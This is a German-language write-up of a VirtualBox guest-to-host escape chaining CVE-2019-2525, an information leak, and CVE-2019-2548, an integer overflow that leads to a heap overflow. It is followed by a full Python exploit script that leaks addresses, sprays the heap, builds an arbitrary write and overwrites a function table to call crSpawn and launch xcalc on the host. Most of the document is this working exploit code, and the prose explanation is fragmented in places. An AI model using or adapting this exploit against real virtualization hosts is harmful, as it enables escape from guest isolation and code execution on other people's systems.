
CVE-2019-2525 / CVE-2019-2548
Zu verwendender VBox-Bug
crUnpackExtendGetAttribLocation Information DisclosurecrServerDispatchReadPixels Integer-Overflow, führt zu Heap-OverflowVorab ist unten ein Video angehängt, das die Ausführung des Exploits zeigt.
https://youtu.be/IQRLtqMgVCY?t=46
hgcm_connect und hgcm_disconnect können cr_server-bezogene Werte im Speicher abgelegt werden. Über einen negativen Offset in crUnpackExtendGetAttribLocation kann ein Memory Leak ausgelöst werden, um die Adressen von cr_server+19056 und crVBoxHGCMDoDisconnect zu ermitteln.cr_server und crSpawn ermittelt.CRVBOXSVBUFFER_t wird per Heap Spray im Speicher verteilt. Dabei wird alloc_buf verwendet. Da der Speicher zusammenhängend alloziert wird, wird auch pData der Pufferstruktur direkt neben der Pufferstruktur alloziert.alloc_buf(client, 0x20) ein pData erzeugt, das genauso groß ist wie CRVBOXSVBUFFER_t.

alloc_buf(client, 0x50, msg) und alloc_buf(client, 0x20, msg) werden die Free-Chunks gefüllt. Die 0x50-Blöcke können nicht in den freigegebenen Chunks alloziert werden und werden stattdessen in anderen Speicherbereichen alloziert.

integer overflow in crServerDispatchReadPixels wird eine Struktur der Größe 0x20 alloziert.Heap overflow von 0x18 Bytes, wodurch uiID und uiSize der nächsten Struktur modifiziert werden können.
pData mit beliebigen Werten überschrieben werden.
OOB Write durchgeführt werden.OOB Write wird "xcalc" an cr_server + 0xc410 geschrieben.OOB Write wird crServerDispatchBoundsInfoCR (cr_server+0x0xae98) in der Funktionstabelle mit der Funktion crSpawn überschrieben.crSpawn aufgerufen. Übergibt man dabei als Argumente command="xcalc", argv=[Adresse von "xcalc", NULL], kann man aus VirtualBox ausbrechen und den Taschenrechner ausführen.
https://youtu.be/IQRLtqMgVCY?t=46
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
def nop_msg():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" +chr(CR_NOP_OPCODE)
+ pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
)
return msg
def make_leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet_length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
def make_crSpawn_msg(cmd, argv):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
+ pack("<I", 1)
+ cmd.ljust(16, "\x00")
+ pack("<I", 0)
+ pack("<QQ", argv, 0) # argv : execute string, null
)
return msg
def leak_address(client):
leak_success = False;
while not leak_success:
for i in range(0, 10):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x170):
leak_success = True
break
cr_server = leak - 0x4a70
leak_success = False;
while not leak_success:
for i in range(0, 100):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x230):
leak_success = True
break
crSpawn = leak - 0xbd20
return (cr_server, crSpawn)
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20, msg))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# even buf_ids free
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
# fill CRVBOXSVCBUFFER_t free areas
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50, msg))
alloc_buf(client, 0x20, msg)
# make a hole between spray area
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
if __name__=='__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
# Trigger to CVE-2019-2525
cr_server, crSpawn = leak_address(client)
crServerDispatchBoundsInfoCR = cr_server+0xae98
print("[*] crServer : " + hex(cr_server))
print("[*] crSpawn : " + hex(crSpawn))
#print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
# heapSpray
heapSpray(client)
# Trigger to CVE-2019-2548
msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
crmsg(client, msg)
#a = input("test1 : ")
# setting "xcalc"
xcalc_string = cr_server + 0xc410
write_anywhere(xcalc_string, "xcalc")
print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
# overwrite talbe func crSpawn
print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
# escape!! execute xcalc
msg = make_crSpawn_msg("xcalc", xcalc_string)
crmsg(client, msg)
hgcm_disconnect(client)